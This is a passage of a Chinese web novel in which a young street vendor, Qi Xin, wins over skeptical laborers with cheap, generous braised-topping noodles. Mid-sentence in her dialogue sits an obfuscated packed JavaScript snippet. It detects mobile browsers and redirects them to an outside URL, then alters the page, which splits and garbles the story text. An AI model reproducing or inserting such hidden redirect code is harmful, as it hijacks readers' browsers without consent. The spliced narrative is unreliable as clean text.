“这经典卤里是香蕈、黄花、豆干、木耳和猪肉。” 几人听见有肉，忙凑上去瞧，饭捂子没打开前，他们只隐隐闻着股荤香味儿，这会儿揭了盖儿，咸香鲜香都扑面而来，再看卤子的色泽，本就饿得咕咕叫的肚子，这会儿更是难耐。 就听有人忍不住问： “这经典卤和豆角肉末卤里竟有那么多肉！这得卖多少钱一碗啊？” 16. 第 16 章 盘算着价格不能便宜，有人面露难色似乎想打退堂鼓，只是碍于人多，不好转身就走，却默默退到了最后。 齐心指了指自己的菜单：“经典卤和肉末豆角只需八文一碗，番柿鸡子的六文。” “八文！” 人群后头传来一声沉闷的惊呼，声音如晨寺的钟鸣，一下就吸引了周围所有人的注意，不少过路人也因此停下了脚步，好奇地看着齐心这边的动静。 段婆婆以为他嫌贵，有些没底气想要解释两句：“这卤子放了许多肉，已不算……” “我来一碗经典卤！” 那道声音瞬间打断了婆婆的话，将前头的人都拨开，重新站到摊位前： “齐小娘子是吧？给我来一碗经典卤。” “好嘞！您稍坐，这就给您煮！” 齐心满脸的喜洋洋，锅里的水早就煮开了，抓上一大把面直接放进滚水里，看着柔软的面条在锅中翻舞着。 其余几位这才反应过来，不再客气，忙挤到摊位前说起自己的要的口味。 等到王家父子也点好了坐下，就见几人压低了声音凑作一团。 齐心眼观鼻鼻观心，支棱起耳朵也听得到几句。 “这齐小娘子还没荣哥儿年纪大吧？卖这么便宜，真能好吃？” “我和我爹都吃过的，还能作假？” “那头几家汤饼铺子，一碗素汤饼就要六文了，这什么卤我看着可是有不少肥肉呢，这齐小娘子真不是来当菩萨的？还是说光给看实则只给一点儿，这种路数咱遇上的还少吗?” “瞎说什么呢，齐小娘子不是这样的人。” “你又知道了。” “总，总之她不会糊弄人的！” “……” 王星荣最后一句落下，其他几人只得悻悻地闭了嘴，只是在心里计较着就算不好吃也忍了。 那饭捂子里可是明晃晃的荤腥，就算只给两三片，八文也值了啊！还有那番柿鸡子，一个生鸡子寻常也要两文钱了，再算上面和番柿，折算下来似乎也没怎么多挣他们的，这样的实惠，哪怕味道差一点儿，他们也还是愿意偶尔来吃吃的。 齐心没上赶着解释，只需等打卤面上桌，这些猜测自然会有个结果。 等六碗打卤面全都上桌，方才还有疑虑的几人相互对视了一眼，默契地把那些不确定全都咽进了肚子里。 这六碗面顶上全都浇了厚厚的一层卤子，连底下的面都看不见。 六个人，三个口味都有，几人看看这碗又看看那碗。 那劳什子“经典卤”看着油亮亮的，糊是褐色的，却又透着点光泽，里头至少缀着□□片微微焦褐色的肉片，木耳也是黑亮的，黄花菜裹在卤子里缀成淡黄色。 豆角肉末的也是如此，肉末有肥有瘦，瘦的合着酱色，肥的确是透亮的黄褐色，一看就有油润的滋味，那豆角也切得细碎，一看就很适合就面。 再有那番柿鸡子，红黄相间，不肖说味道，光是看着心情就好了。 四人越看越有些舍不得动筷。 倒是王家父子俩很是淡定地取了筷子，就着碗里满满当当的卤探进下头的面，夹上一大筷。 “呼呼——” 只简单吹凉一口，就迫不及待地顺滑吸溜进嘴，熟练地咀嚼着，任由想念多日的香味儿在口中幸福地蔓延开来。 “嗯！就是这个味儿！” 王星荣一口还没来得及咽下，就忍不住感叹出声。 旁边几位看得撇了撇嘴，小声嘟囔着：“有那么夸张吗？” 面庭宽阔的那位丁老三最先忍不住，下了筷想要搅拌搅拌，可筷子刚动，手却被王星荣眼疾手快地摁住了。 “这卤子不能拌，一拌泄了就不如原先好吃了。” 丁老三将信将疑地照办，就着表面的卤子夹起一筷子面，他先点的番柿鸡子卤，就见橙红的卤汁顺着面条往下流，将素净的面慢慢包裹，鸡子黄澄澄的，像云朵般蓬松柔软。 他火速往嘴里送上一口，番柿本身的酸味和不知怎么做成的鲜甜融合得恰到好处，鸡子已经吸饱了番柿汁子，刚嚼开，浓郁的蛋香味儿就蹦了出来。 酸甜咸鲜层次丰富却不违和。 手里的动作停了，只静静感受嘴里的滋味儿。 这反应落在周围几人眼中，反而叫人有些犹豫，他们忙推了推丁老三：“如何？是不好吃吗？” 可不等几人再摇晃，他迅速咽下嘴里的食物，埋下头一声不吭地狼吞虎咽起来，脸颊被食物塞得浑圆，那样子，像极了怕被抢食的小孩儿。 几人一看，这还有什么不明白的？ 再也不犹豫，紧跟着埋头吸溜上各自那碗。 “嗯——！” “嚯——嗯！” “嗯！” 满足的感叹此起彼伏，连评价都来不及，只顾得上咀嚼下肚又继续。 一碗过半，众人看了看齐心隔壁的饮子摊，嘴里的咸香又勾动了清爽止渴的念头。 “这会儿若是有个果子或是来碗酸甜的饮子吃吃，怕是极爽快的。” 齐心听了这话，反应最快： “隔壁段娘子的饮子也是极好的，这会儿正热，来上一碗冰凉的最是解暑。” 段娘子是又惊又喜，忙不迭给介绍了摊子上的冷饮，没想到竟真一人来上一碗，虽都选的两文的便宜饮子，她也乐得眉眼弯弯。 几位叔伯很是惬意，这一顿有吃有喝，有荤有素，最多也不过十文钱。 要知去食肆随意点个荤菜，份量不大的也至少要二十文呢！ 直到碗里剩的最后一点儿菜粒也被扒拉干净，大家终于长长地叹出一口气，摸摸自己满足的肚子，不约而同地冲着齐心： “这打卤面实在好吃！” “又好吃份量也实在，我一会儿干活定是使不完的力气。” “好吃真好吃！齐小娘子，我再来一碗，这次要豆角肉末的！” 齐心看着那个冲自己伸来的空碗，笑得见牙不见眼。 “好嘞！这就来。” 其他几人放下碗筷围了上来，在齐心的摊车上放下自己的那份面钱，打趣道：“丁老三，你还没吃饱呢？” 丁老三龇着牙花：“我这饭量你们还不知道？寻常胡饼都要吃两张的，今日这打卤面这么香，更得多吃一碗了！” “那你吃着，我们就先回去歇着了，下午还有不少货呢。” 丁老三就乖乖候在原位等着自己的第二碗面，小桌小凳和他那壮实的体型实在是差距太大，整个人几乎是缩在小凳上。 齐心瞥了一眼，便决心再过些时日，手里银钱多些要换一套桌凳，至少要让食客坐得舒服，这样吃起面来也更舒爽，不至于太过逼仄肠胃，想多吃点儿也没食欲了。 王星荣数了十四文钱放在摊车上，段婆婆见状有些不好意思，刚想拦，却被齐心先一步拽住。 “多谢王伯伯多谢星荣哥！哪日得空了上我家坐坐，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065583|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做上一桌好吃的，咱们邻居也要多多来往才好啊。” 王星荣见齐心大大方方地收了钱，这才毫无负担地笑起来： “那…那也太好了！你做的东西都好吃！” 王实也在一旁点点头，倒是问起了别的：“不知你今日卤子备了多少人份的？” 齐心虽有不解，却还是如实相告：“今天刚出摊没敢备太多，只准备了三十人份的卤子。” 王实很是笃定：“你这三十份，怕是不出两个时辰便能卖完了，明日可要多备些才行。” “我明白的，等明日……” “不不，我不是想插手的意思，”王实说着挠了挠头，“只是我们今日带来的这几位是我们那儿最是会吃的，今日他们吃好了，回去再与其他人一说，一传十十传百，明日怕是都要来凑凑热闹，我估摸着能有二十来个，你可要多准备点才好。” 齐心有些愣。 这么多人吗？ 王实似是看出她的惊讶，耐心解释：“咱们原武县几千户人，算起来少说也有近万人，二十来个都是寻常，你做得好吃，食客只多不少。” 齐心还是有些不敢置信，今日的三十份都是她把胆子放大了又大才憋出来的份量，光是王伯伯口中说的人数，就够她今日备下的份量了。 可哪有人卖吃食嫌食客多的，她很快就回过神来，嘴角的弧度怎么都压不住： “我知道了，多谢王伯伯提醒。” “好，那我们先走了。” 父子俩转身要走，齐心忙叫住又道：“对了王伯伯，您管事儿的那边……” 王实知她的意思，回过头来叫她安心： “我与管事儿多年的交情了，不必担心他那边，我都说妥当了。” 齐心笑着点头，暗暗记下，到时连管事儿的人情也得一并照顾上。 王实说完拽着王星荣便一起走，谁知王星荣一边被迫走远一边回过头来冲着齐心开口： “今日的打卤面比上次还好吃！” 直到被他爹拽得快要站不住，才赶忙回过头好好走远。 齐心看得失笑。 “哎呀！面！面！” 直到段婆婆惊慌的提醒声响起，她这才意识到自己手下的面还在滚水里浮游，慌慌张张地捞了面，分作两碗，还有方才说好给隔壁段婶婶的一份。 丁老三得了第二碗，进食的速度明显比第一碗慢了不少，第一碗是为了填饱肚子，这一碗到更像是为了好好品味其中滋味。 一边吃一边摇头晃脑地啧啧两声。 齐心没打扰他，而是回头去问段娘子：“婶婶看看有没有想吃的口味。” 段娘子有些局促地看了看几个饭捂子，这才答她：“那…那我就尝尝经典卤。” 她毫不吝啬地舀上一大勺，并没因是送的就减少份量。 段娘子接过那一大碗浇满了卤子的面很是惊喜：“这这这…这会不会太多了。” “段婶婶尽管吃，最好是能给我提提建议才好呢！” 说着，主动给人递上一双筷子。 方才几人在这儿吃得夸天赞地一顿彩虹屁，早就吸引了不少往来的目光，这会儿桌凳得了空，立马又有新的食客揣着好奇心上前，转眼间摊子前又堆了人。 “小娘子，你这荤面真的只要八文吗？” “闻着倒是不错，你年纪这样小，想来是家里人做的吧？” “我来份经典卤！” “……”